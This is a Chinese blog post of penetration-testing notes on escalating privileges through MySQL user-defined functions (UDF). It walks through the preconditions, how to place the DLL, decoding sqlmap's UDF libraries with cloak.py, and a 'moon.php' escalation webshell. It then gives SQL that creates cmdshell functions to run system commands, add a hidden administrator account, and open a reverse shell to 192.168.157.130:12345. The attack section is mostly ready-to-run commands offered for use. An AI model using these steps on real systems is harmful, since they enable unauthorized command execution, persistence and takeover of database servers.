【渗透测试】MySQL的udf提权笔记

【渗透测试】MySQL的udf提权笔记

Mysql_udf提权
1、UDF提权原理

正是由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。

2、udf.dll导出指定文件夹

当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

3、plugin目录创建方式

通过菜刀连接创建
通过mysql语句创建

4、提权条件

(1)mysql数据库的root权限
(2)secure_file_priv的值为空
(3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
(4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

show variables like 'plugin%';   【查看 plugin 目录】
show global variables like 'secure%'; 【查看secure_file_priv】
select @@basedir; 【查看mysql安装路径】
show variables like '%version_%'; 【确定平台是64位还是32位】

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

5、复现(暗月的使用)

1)使用moon.php提权马操作完成
www/data/config.php内一般会有数据库的用户名和密码
在这里插入图片描述在这里插入图片描述在这里插入图片描述

目标机器上已经出现udf.dll
在这里插入图片描述

可以执行系统命令了
在这里插入图片描述

2)根据mysql版本自己手动将udf.dll文件写入到对应的目录下
Windows/linux获取udf文件:使用sqlmap生成
(1)Windows下进入sqlmap安装目录下的extra\cloak目录下使用cloak.py工具

python cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

sqlmap的data目录下udf的加密文件,使用上述命令解密一下即可获得udf.dll。
在这里插入图片描述

(2)Kali下获取udf文件
将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:

cd /usr/share/sqlmap/extra/cloak/ 【进入cloak目录】
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
【将lib_mysqludf_sys.so_进行解码】

之后在/usr/share/sqlmap/udf/mysql/linux/64
目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件
将dll文件复制到指定的目录下,然后执行SQL命令:

create function sys_exec returns string soname "lib_mysqludf_sys.dll";

然后即可用自己创建的函数执行系统命令
select sys_eval(‘whoami’);
函数介绍:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
一般用于创建新用户维持权限
create function cmdshell returns string soname 'moonudf.dll' 【创建cmdshell】
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add')   【添加超级管理员】
select cmdshell('net user')  【查看用户】
select cmdshell('netstat -an')  【查看端口】
select name from mysql.func   【查看创建函数】
delete from mysql.func where name='cmdshell'  【删除cmdshell】
create function backshell returns string soname 'moonudf.dll' 【创建反弹函数】
select backshell('192.168.157.130',12345)    【执行反弹】
delete from mysql.func where name='backshell'  【删除backshell】

久违 2021.8.18
好久没有更新了,我回来了。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值